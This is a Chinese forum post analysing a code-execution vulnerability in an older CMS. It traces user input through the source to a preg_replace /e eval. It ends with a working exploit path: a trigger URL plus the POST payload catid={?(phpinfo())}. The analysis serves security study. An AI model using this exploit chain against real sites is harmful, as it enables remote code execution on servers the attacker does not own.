心尊门 发表于 2019-8-15 21:36:41

某cms5-5代码执行分析

源码分析

该处漏洞主要是preg_replace 函数/e模式下存在的代码执行问题,虽然该程序版本较老,但该问题在其他程序中仍时有存在

漏洞触发点在 lib/tool/form.php文件中,关键代码如下:

function getform($name,$form,$field,$data){

if(get('table')&&isset(setting::$var[$name]))

            $form[$name]=setting::$var[$name];

if(get('form')&&isset(setting::$var[$name]))

            $form[$name]=setting::$var[$name];

if(isset($form[$name]['default']))

            $form[$name]['default']=preg_replace('/\{\?([^}]+)\}/e',"eval('return $1;')",$form[$name]['default']);

if(!isset($data[$name])&&isset($form[$name]['default']))

            $data[$name]=@$form[$name]['default'];

if(preg_match('/templat/',$name)&&empty($data[$name]))

            $data[$name]=@$form[$name]['default'];

if(@$form[$name]['filetype']=='image'){

            $return=form::upload_image($name,front::post($name)?front::post($name):@$data[$name]);

}

关键点在于这句

if(isset($form[$name]['default']))

            $form[$name]['default']=preg_replace('/\{\?([^}]+)\}/e',"eval('return $1;')",$form[$name]['default']);

当if条件成立时,就会引发代码执行问题

下面寻找触发getform函数的代码



可以看到该函数存在六处调用,尝试跟进第一处

代码位于 cache/template/default/manage/#guestadd.php

<?php echo form::getform('catid',$form,$field,$data);?>

该段直接调用了静态方法getform,但目前并不知道 catid是什么,尝试全局搜索

在/lib/table/archive.php中找到了catid 相关的函数

function get_form(){

return array(

'catid'=>array(

'selecttype'=>'select',

'select'=>form::arraytoselect(category::option(0,'tolast')),

'default'=>get('catid'),

'regex'=>'/\d+/',

'filter'=>'is_numeric',

),

'typeid'=>array(

'selecttype'=>'select',

'select'=>form::arraytoselect(type::option(0,'tolast')),

'default'=>get('typeid'),

'regex'=>'/\d+/',

'filter'=>'is_numeric',

),

'toppost'=>array(

'selecttype'=>'select',

'select'=>form::arraytoselect(array(0=>'不置顶',2=>'栏目置顶',3=>'全站置顶')),

'default'=>0,

'regex'=>'/\d+/',

'filter'=>'is_numeric',

),

'ishtml'=>array(

'selecttype'=>'radio',

'select'=>form::arraytoselect(array(0=>'继承',1=>'生成',2=>'不生成')),

),

'checked'=>array(

'selecttype'=>'radio',

'select'=>form::arraytoselect(form::yesornotoarray('审核')),

),

'image'=>array(

'filetype'=>'image',

),

'thumb'=>array(

'filetype'=>'thumb',

),

'displaypos'=>array(

'selecttype'=>'checkbox',

//'select'=>form::arraytoselect(array(1=>'首页推荐',2=>'首页焦点',3=>'首页头条',4=>'列表页推荐',5=>'内容页推荐')),

),

'htmlrule'=>array(

//'tips'=>" 默认:{?category::gethtmlrule(get('id'),'showhtmlrule')}",

),

'template'=>array(

'selecttype'=>'select',

'select'=>form::arraytoselect(front::$view->archive_tpl_list('archive/show')),

//'tips'=>" 默认:{?category::gettemplate(get('id'),'showtemplate')}",

),

'showform'=>array(

'selecttype'=>'select',

'select'=>form::arraytoselect(get_my_tables_list()),

'default'=>"0",

),

'introduce_len'=>array(

'default'=>config::get('archive_introducelen')

),

'attr1'=>array(

'selecttype'=>'checkbox',

'select'=>form::arraytoselect($this->getattrs(1)),

),

'grade'=>array(

'selecttype'=>'radio',

'select'=>form::arraytoselect(array(0,1,2,3,4,5)),

),

'pics'=>array(

'filetype'=>'image2',

),

'author'=>array(

'tips'=>' ',

),

'attr3'=>array(

'tips'=>' ',

),

'htmlrule'=>array(

'selecttype'=>'select',

'select'=>form::arraytoselect(getHtmlRule('archive')),

'default'=>'',

),

'tag_option'=>array(

'selecttype'=>'select',

'select'=>form::arraytoselect(tag::getTags()),

),

);

}

注意到这一句

'default'=>get('catid'),

跟进get函数

functionget($var){

if(front::get($var))

return front::get($var);

elseif(front::post($var))

return front::post($var);

elseif(config::get($var))

return config::get($var);

elseif(session::get($var))

return session::get($var);

}

继续跟进

staticfunctionget($var){

if(isset(self::$get[$var]))

returnself::$get[$var];

else

returnfalse;

}

staticfunction post($var){

if(isset(self::$post[$var]))

returnself::$post[$var];

else

returnfalse;

}

最后跟进到front类中__construct()函数

//关键语句

self::$get=$_GET;

self::$post=$_POST;

这就说明catid和defult的值都是我们可以控制的,这样我们就可以通过控制$form[$name(catid)] ['default']来达到执行任意代码的目的

此时我们需要寻找一个触发getform()函数的地方,并且再触发该函数后需要引用guestadd.php页面以此衔接我们的利用操作,全局搜索后定位在 /lib/default/manageact.php ,该文件在第29行对get_form()函数进行了调用

$this->view->form=$this->_table->get_form();

同时在/lib/tool/front_class.php 文件的front类中存在这样的代码

if(@$_GET['g']&&is_numeric(@$_GET['g'])){

header('location: ?case=manage&act=guestadd&manage=archive&guest=1');

}

该文件是网站入口文件index.php所引用的,所以我们访问如下url即可触发

http://localhost/?g=1

接着会被重定向为这样:

http://localhost/index.php?case=manage&act=guestadd&manage=archive&guest=1

这时只要post过去符合正则匹配的代码就可以了

'/\{\?([^}]+)\}/e'

//该段正则表达式即为匹配{?任意内容},当post如下语句时就会触发执行

//catid={?(phpinfo())}

梳理一下利用过程:

index.php->

(/lib/tool/front_class.php)->

(/lib/default/manage_act.php)[->get_form()]->

(cache/template/default/manage/#guestadd.php)[->getform('catid'...)]->

(lib/tool/form.php)//RCE

后记

当我们传入{?(phpinfo())}时,函数会变成这样

preg_replace('/\{\?([^}]+)\}/e',"eval('return $1;')","{?(phpinfo())}");

匹配成功后会执行eval('return $1;')

而(phpinfo())在正常情况下同样会执行



执行成功会返回true这样前面的eval('return $1;')就相当于eval('return phpinfo();'),所以出现了代码执行
页: [1]
查看完整版本: 某cms5-5代码执行分析